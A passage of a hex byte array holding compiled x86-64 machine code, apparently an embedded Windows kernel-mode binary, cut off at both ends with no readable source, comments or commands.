0x04, 0x48, 0x8b, 0x73, 0x38, 0x48, 0x8b, 0x9b, 0x48, 0x02, 0x00, 0x00, 0x41, 0xff, 0xc3, 0x45, 0x3b, 0xd8, 0x72, 0xc6, 0x48, 0x85, 0xff, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x74, 0x24, 0x48, 0x8b, 0x4f, 0x30, 0xff, 0x15, 0x1a, 0x2b, 0x00, 0x00, 0x48, 0x8b, 0x9f, 0x48, 0x02, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xff, 0x15, 0x98, 0x2a, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x48, 0x8b, 0xfb, 0x75, 0xdc, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x83, 0xec, 0x38, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x48, 0xe8, 0x48, 0x89, 0x78, 0x20, 0x48, 0x8b, 0xea, 0x48, 0xc7, 0x40, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x40, 0xf0, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x02, 0x40, 0x6a, 0xc8, 0xe8, 0x36, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0x48, 0x8b, 0xd7, 0x74, 0x6d, 0x44, 0x8b, 0x54, 0x24, 0x28, 0x45, 0x33, 0xc0, 0x45, 0x85, 0xd2, 0x74, 0x60, 0x48, 0x85, 0xd2, 0x74, 0x5b, 0x8b, 0x0a, 0x44, 0x8b, 0x0b, 0x8b, 0xc1, 0x41, 0x33, 0xc1, 0x84, 0xc0, 0x75, 0x17, 0x8b, 0xc1, 0x41, 0x33, 0xc1, 0xa9, 0x00, 0x1f, 0x00, 0x00, 0x75, 0x0b, 0x41, 0x33, 0xc9, 0xf7, 0xc1, 0x00, 0xe0, 0x00, 0x00, 0x74, 0x11, 0x48, 0x8b, 0x92, 0x48, 0x02, 0x00, 0x00, 0x41, 0xff, 0xc0, 0x45, 0x3b, 0xc2, 0x72, 0xc7, 0xeb, 0x25, 0x48, 0x8b, 0xcd, 0x41, 0xb8, 0x50, 0x02, 0x00, 0x00, 0xe8, 0xd3, 0x0b, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x30, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0xba, 0xff, 0x01, 0x1f, 0x00, 0xff, 0x15, 0x96, 0x2a, 0x00, 0x00, 0x33, 0xf6, 0x48, 0x85, 0xff, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x74, 0x26, 0x66, 0x90, 0x48, 0x8b, 0x4f, 0x30, 0xff, 0x15, 0x0e, 0x2a, 0x00, 0x00, 0x48, 0x8b, 0x9f, 0x48, 0x02, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xff, 0x15, 0x8c, 0x29, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x48, 0x8b, 0xfb, 0x75, 0xdc, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x8b, 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x33, 0xc0, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x89, 0x7c, 0x24, 0x58, 0x48, 0x89, 0x44, 0x24, 0x20, 0x89, 0x44, 0x24, 0x28, 0xe8, 0x52, 0xfb, 0xff, 0xff, 0x0f, 0xb7, 0x54, 0x24, 0x28, 0x44, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8d, 0x0d, 0x31, 0x1a, 0x00, 0x00, 0xe8, 0x0c, 0xe8, 0xff, 0xff, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0x48, 0x85, 0xff, 0x74, 0x2e, 0x48, 0x89, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x4f, 0x30, 0xff, 0x15, 0x8b, 0x29, 0x00, 0x00, 0x48, 0x8b, 0x9f, 0x48, 0x02, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xff, 0x15, 0x09, 0x29, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x48, 0x8b, 0xfb, 0x75, 0xdc, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x66, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x48, 0x89, 0x5c, 0x24, 0x40, 0x33, 0xc0, 0x48, 0x89, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x89, 0x74, 0x24, 0x50, 0x48, 0x89, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0xea, 0x48, 0x89, 0x44, 0x24, 0x20, 0x89, 0x44, 0x24, 0x28, 0xe8, 0xad, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0x66, 0x33, 0xf6, 0x4c, 0x8b, 0xc7, 0x66, 0x39, 0x75, 0x00, 0x76, 0x47, 0x4d, 0x85, 0xc0, 0x74, 0x42, 0x41, 0x0f, 0xb6, 0x00, 0x0f, 0xb7, 0xd6, 0x66, 0xff, 0xc6, 0x48, 0x69, 0xd2, 0x08, 0x01, 0x00, 0x00, 0x88, 0x04, 0x1a, 0x8b, 0x04, 0x1a, 0x41, 0x33, 0x00, 0x25, 0x00, 0x1f, 0x00, 0x00, 0x31, 0x04, 0x1a, 0x8b, 0x04, 0x1a, 0x8b, 0xc8, 0x41, 0x33, 0x08, 0x81, 0xe1, 0x00, 0xe0, 0x00, 0x00, 0x33, 0xc8, 0x89, 0x0c, 0x1a, 0x66, 0x3b, 0x75, 0x00, 0x4d, 0x8b, 0x80, 0x48, 0x02, 0x00, 0x00, 0x72, 0xb9, 0x48, 0x85, 0xff, 0x74, 0x24, 0x48, 0x8b, 0x4f, 0x30, 0xff, 0x15, 0xae, 0x28, 0x00, 0x00, 0x48, 0x8b, 0x9f, 0x48, 0x02, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xff, 0x15, 0x2c, 0x28, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x48, 0x8b, 0xfb, 0x75, 0xdc, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x66, 0x89, 0x75, 0x00, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x58, 0x48, 0x89, 0x5c, 0x24, 0x78, 0x48, 0x89, 0x6c, 0x24, 0x50, 0x48, 0x89, 0x74, 0x24, 0x48, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0xf1, 0x48, 0x89, 0x7c, 0x24, 0x40, 0x4c, 0x89, 0x64, 0x24, 0x38, 0x45, 0x8b, 0xe0, 0x41, 0xb8, 0x44, 0x64, 0x6b, 0x20, 0xba, 0x00, 0x01, 0x00, 0x00, 0x33, 0xc9, 0xbb, 0x02, 0x80, 0x6a, 0xc8, 0xff, 0x15, 0xb2, 0x27, 0x00, 0x00, 0x48, 0x85, 0xed, 0x48, 0x8b, 0xf8, 0x74, 0x3f, 0x48, 0x85, 0xc0, 0x74, 0x54, 0x48, 0x8b, 0xce, 0xe8, 0x3d, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x2d, 0x45, 0x33, 0xc9, 0x41, 0xb0, 0x0f, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xc7, 0x44, 0x24, 0x20, 0x40, 0x00, 0x00, 0x00, 0xe8, 0x3f, 0xf3, 0xff, 0xff, 0x4d, 0x8b, 0xc4, 0x48, 0x8b, 0xd7, 0x49, 0xc1, 0xe0, 0x02, 0x48, 0x8b, 0xcd, 0xe8, 0x7d, 0x09, 0x00, 0x00, 0x33, 0xdb, 0x48, 0x85, 0xff, 0x74, 0x15, 0x48, 0x8d, 0x15, 0x8f, 0x18, 0x00, 0x00, 0x41, 0xb8, 0xee, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0xc1, 0xe4, 0xff, 0xff, 0x4c, 0x8b, 0x64, 0x24, 0x38, 0x48, 0x8b, 0x7c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x8b, 0x6c, 0x24, 0x50, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x78, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x4d, 0x85, 0xc0, 0x48, 0x89, 0x5c, 0x24, 0x58, 0x48, 0x89, 0x7c, 0x24, 0x30, 0x8b, 0xfa, 0x49, 0x8b, 0xd8, 0x74, 0x45, 0xe8, 0xa3, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x3b, 0x44, 0x8d, 0x0c, 0xbd, 0x00, 0x00, 0x00, 0x00, 0x41, 0xb0, 0x0f, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xc8, 0xc7, 0x44, 0x24, 0x20, 0x04, 0x00, 0x00, 0x00, 0xe8, 0xa0, 0xf2, 0xff, 0xff, 0x33, 0xd2, 0xb9, 0x09, 0x40, 0x6a, 0xc8, 0x85, 0xc0, 0x0f, 0x49, 0xca, 0x8b, 0xc1, 0x48, 0x8b, 0x7c, 0x24, 0x30, 0x48, 0x8b, 0x5c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x30, 0x48, 0x8b, 0x5c, 0x24, 0x58, 0xb8, 0x02, 0x40, 0x6a, 0xc8, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x44, 0x89, 0x44, 0x24, 0x18, 0x48, 0x81, 0xec, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x9c, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7c, 0x24, 0x78, 0x8b, 0xfa, 0xe8, 0x20, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x48, 0x8b, 0xd8, 0x0f, 0x84, 0xd4, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x58, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x48, 0x89, 0xb4, 0x24, 0x80, 0x00, 0x00, 0x00, 0xff, 0x15, 0xf4, 0x26, 0x00, 0x00, 0x33, 0xf6, 0x4c, 0x8d, 0x5c, 0x24, 0x48, 0x48, 0x8d, 0x44, 0x24, 0x58, 0x8d, 0x4e, 0x1b, 0x4c, 0x89, 0x5c, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd3, 0x48, 0x89, 0x74, 0x24, 0x20, 0xff, 0x15, 0xbf, 0x26, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x8b, 0xd0, 0x74, 0x6d, 0x48, 0x8b, 0x88, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xe9, 0x48, 0x74, 0x60, 0xc7, 0x40, 0x30, 0xbb, 0x00, 0x00, 0xc0, 0x48, 0x8d, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0xc6, 0x01, 0x1b, 0x48, 0x89, 0x41, 0x10, 0x8d, 0x04, 0xbd, 0x00, 0x00, 0x00, 0x00, 0xc6, 0x41, 0x01, 0x10, 0xc7, 0x41, 0x20, 0x04, 0x00, 0x00, 0x00, 0x89, 0x71, 0x08, 0x89, 0x41, 0x18, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0x6b, 0x26, 0x00, 0x00, 0x3d, 0x03, 0x01, 0x00, 0x00, 0x44, 0x8b, 0xd8, 0x75, 0x24, 0x48, 0x8d, 0x4c, 0x24, 0x58, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x48, 0x89, 0x74, 0x24, 0x20, 0xff, 0x15, 0x41, 0x26, 0x00, 0x00, 0x44, 0x8b, 0x5c, 0x24, 0x48, 0xeb, 0x05, 0x44, 0x8b, 0x5c, 0x24, 0x40, 0xb8, 0x09, 0x40, 0x6a, 0xc8, 0x45, 0x85, 0xdb, 0x0f, 0x49, 0xc6, 0x48, 0x8b, 0xb4, 0x24, 0x80, 0x00, 0x00, 0x00, 0xeb, 0x05, 0xb8, 0x02, 0x40, 0x6a, 0xc8, 0x48, 0x8b, 0x7c, 0x24, 0x78, 0x48, 0x8b, 0x9c, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x88, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x81, 0xec, 0x88, 0x01, 0x00, 0x00, 0x48, 0x89, 0x58, 0xf8, 0x48, 0x89, 0x68, 0xf0, 0x48, 0x89, 0x70, 0xe8, 0x48, 0x89, 0x78, 0xe0, 0x4c, 0x89, 0x60, 0xd8, 0x4c, 0x89, 0x68, 0xd0, 0x4c, 0x8b, 0xe9, 0x41, 0x8b, 0xf9, 0x41, 0x0f, 0xb6, 0xd8, 0x8b, 0xf2, 0x41, 0xbc, 0x02, 0x40, 0x6a, 0xc8, 0xc7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xdf, 0xf9, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x48, 0x8b, 0xe8, 0x0f, 0x84, 0x50, 0x01, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x80, 0xfb, 0x0f, 0x75, 0x27, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x49, 0x8b, 0xd5, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0x28, 0x07, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x44, 0x8b, 0xc7, 0x8b, 0xd6, 0xe8, 0x69, 0xfe, 0xff, 0xff, 0xe9, 0x24, 0x01, 0x00, 0x00, 0x80, 0xfb, 0x03, 0x75, 0x2e, 0x0f, 0xb7, 0xc7, 0x44, 0x8d, 0x0c, 0xb5, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x41, 0xb0, 0x10, 0x48, 0x8b, 0xcd, 0xc7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0xe8, 0x98, 0xf0, 0xff, 0xff, 0x33, 0xc0, 0xe9, 0xf1, 0x00, 0x00, 0x00, 0x80, 0xfb, 0x0c, 0x75, 0x2e, 0x44, 0x8d, 0x0c, 0xb5, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xc1, 0xef, 0x10, 0x41, 0xb0, 0x10, 0x48, 0x8b, 0xc8, 0xc7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0x89, 0x7c, 0x24, 0x30, 0xe8, 0x65, 0xf0, 0xff, 0xff, 0x33, 0xc0, 0xe9, 0xbe, 0x00, 0x00, 0x00, 0xf6, 0xc3, 0x01, 0x74, 0x28, 0x40, 0x0f, 0xb6, 0xc7, 0x44, 0x8d, 0x0c, 0xb5, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x41, 0xb0, 0x10, 0x48, 0x8b, 0xcd, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0xe8, 0x31, 0xf0, 0xff, 0xff, 0xf6, 0xc3, 0x02, 0x74, 0x2c, 0x8b, 0xc7, 0x44, 0x8d, 0x0c, 0xb5, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xc1, 0xe8, 0x08, 0x41, 0xb0, 0x10, 0x48, 0x8b, 0xcd, 0x0f, 0xb6, 0xc0, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0xe8, 0x00, 0xf0, 0xff, 0xff, 0xf6, 0xc3, 0x04, 0x74, 0x2c, 0x8b, 0xc7, 0x44, 0x8d, 0x0c, 0xb5, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xc1, 0xe8, 0x10, 0x41, 0xb0, 0x10, 0x48, 0x8b, 0xcd, 0x0f, 0xb6, 0xc0, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x30, 0xe8, 0xcf, 0xef, 0xff, 0xff, 0xf6, 0xc3, 0x08, 0x74, 0x27, 0xc1, 0xef, 0x18, 0x44, 0x8d, 0x0c, 0xb5, 0x03, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x41, 0xb0, 0x10, 0x48, 0x8b, 0xcd, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x89, 0x7c, 0x24, 0x30, 0xe8, 0xa3, 0xef, 0xff, 0xff, 0x41, 0x8b, 0xc4, 0x4c, 0x8b, 0xac, 0x24, 0x58, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xa4, 0x24, 0x60, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xbc, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xac, 0x24, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0x80, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x88, 0x01, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x48, 0x89, 0x5c, 0x24, 0x40, 0x48, 0x89, 0x7c, 0x24, 0x48, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xda, 0x0f, 0x84, 0xb9, 0x00, 0x00, 0x00, 0x48, 0x85, 0xd2, 0x0f, 0x84, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4a, 0x08, 0x48, 0x8d, 0x57, 0x08, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0x77, 0x05, 0x00, 0x00, 0x44, 0x0f, 0xb6, 0x9f, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xc8, 0x14, 0x00, 0x00, 0x44, 0x88, 0x9b, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x07, 0x48, 0x89, 0x03, 0x48, 0x8b, 0x87, 0x10, 0x01, 0x00, 0x00, 0x48, 0x89, 0x83, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x87, 0x20, 0x01, 0x00, 0x00, 0x48, 0x89, 0x83, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x87, 0x18, 0x01, 0x00, 0x00, 0xc6, 0x83, 0x50, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x83, 0x18, 0x01, 0x00, 0x00, 0x8b, 0x83, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x93, 0x18, 0x01, 0x00, 0x00, 0x89, 0x83, 0x40, 0x01, 0x00, 0x00, 0x8b, 0x83, 0x64, 0x01, 0x00, 0x00, 0x89, 0x83, 0x34, 0x01, 0x00, 0x00, 0x0f, 0xb6, 0x83, 0x60, 0x01, 0x00, 0x00, 0x88, 0x83, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x83, 0x68, 0x01, 0x00, 0x00, 0x48, 0x89, 0x83, 0x38, 0x01, 0x00, 0x00, 0xe8, 0xbb, 0xe1, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xb8, 0x03, 0x00, 0x6a, 0xc8, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x85, 0xc9, 0x48, 0x8b, 0xd9, 0x74, 0x39, 0x80, 0xb9, 0x29, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x64, 0x14, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x4d, 0x14, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x16, 0x14, 0x00, 0x00, 0x48, 0x0f, 0x45, 0xd0, 0xe8, 0x4d, 0xe1, 0xff, 0xff, 0x0f, 0xb6, 0x83, 0x29, 0x01, 0x00, 0x00, 0xc6, 0x83, 0x29, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x32, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x53, 0x48, 0x83, 0xec, 0x20, 0xba, 0x30, 0x06, 0x00, 0x00, 0x33, 0xc9, 0x41, 0xb8, 0x44, 0x64, 0x6b, 0x20, 0xff, 0x15, 0x27, 0x22, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x8b, 0xd8, 0x74, 0x13, 0x33, 0xd2, 0x41, 0xb8, 0x30, 0x06, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xe8, 0x6f, 0x07, 0x00, 0x00, 0x48, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x3e, 0x53, 0x48, 0x83, 0xec, 0x20, 0x83, 0xb9, 0xa8, 0x03, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x74, 0x14, 0x48, 0x8b, 0x89, 0x88, 0x01, 0x00, 0x00, 0xff, 0x15, 0x55, 0x22, 0x00, 0x00, 0x83, 0x83, 0xa8, 0x03, 0x00, 0x00, 0xff, 0x83, 0xbb, 0xa8, 0x03, 0x00, 0x00, 0x00, 0x75, 0x0b, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0xca, 0x21, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc2, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x0f, 0x84, 0x92, 0x00, 0x00, 0x00, 0x53, 0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0xda, 0x48, 0x8d, 0x91, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x15, 0xfd, 0x21, 0x00, 0x00, 0xba, 0x04, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x44, 0x64, 0x6b, 0x20, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x66, 0xc7, 0x44, 0x24, 0x20, 0x04, 0x01, 0x66, 0xc7, 0x44, 0x24, 0x22, 0x04, 0x01, 0xff, 0x15, 0x69, 0x21, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, 0x89, 0x44, 0x24, 0x28, 0x74, 0x45, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x45, 0x33, 0xc0, 0xff, 0x15, 0x04, 0x22, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x85, 0xc0, 0x78, 0x21, 0x48, 0x8b, 0xd1, 0x48, 0x2b, 0xd9, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x0f, 0xb6, 0x02, 0x48, 0xff, 0xc2, 0x84, 0xc0, 0x88, 0x44, 0x13, 0xff, 0x75, 0xf2, 0x33, 0xd2, 0xff, 0x15, 0x22, 0x21, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x40, 0x5b, 0xc2, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x48, 0x81, 0xec, 0xf8, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xc7, 0x31, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0xe0, 0x04, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x49, 0x89, 0x5b, 0x18, 0x49, 0x89, 0x7b, 0x20, 0x48, 0x8b, 0xf9, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x84, 0x49, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x11, 0x48, 0x8d, 0x0d, 0xb4, 0x15, 0x00, 0x00, 0xe8, 0x9f, 0xdf, 0xff, 0xff, 0x48, 0x8b, 0x17, 0x48, 0x8d, 0x42, 0xff, 0x48, 0x83, 0xf8, 0x07, 0x0f, 0x87, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x77, 0xc0, 0xff, 0xff, 0x8b, 0x84, 0x81, 0xd4, 0x41, 0x00, 0x00, 0x48, 0x03, 0xc1, 0xff, 0xe0, 0x48, 0x83, 0xc7, 0x10, 0x74, 0x35, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x57, 0x08, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0x91, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x1f, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x93, 0x58, 0x01, 0x00, 0x00, 0xe8, 0x0d, 0xf6, 0xff, 0xff, 0xff, 0x83, 0xa8, 0x03, 0x00, 0x00, 0x33, 0xdb, 0xe9, 0xdb, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xf9, 0x14, 0x00, 0x00, 0xe8, 0x34, 0xdf, 0xff, 0xff, 0xe9, 0xca, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4f, 0x10, 0x48, 0x85, 0xc9, 0x74, 0x13, 0x48, 0x8d, 0x51, 0x08, 0x48, 0x8b, 0x09, 0xe8, 0x8a, 0xfe, 0xff, 0xff, 0x33, 0xdb, 0xe9, 0xae, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x6c, 0x14, 0x00, 0x00, 0xe8, 0x07, 0xdf, 0xff, 0xff, 0xe9, 0x9d, 0x01, 0x00, 0x00, 0x48, 0x83, 0xc7, 0x10, 0x74, 0x0f, 0xe8, 0xd7, 0xfd, 0xff, 0xff, 0x33, 0xdb, 0x48, 0x89, 0x07, 0xe9, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xe6, 0x13, 0x00, 0x00, 0xe8, 0xe1, 0xde, 0xff, 0xff, 0xe9, 0x77, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4f, 0x10, 0x48, 0x85, 0xc9, 0x74, 0x0f, 0x48, 0x8b, 0x09, 0xe8, 0xeb, 0xfd, 0xff, 0xff, 0x33, 0xdb, 0xe9, 0x5f, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x5d, 0x13, 0x00, 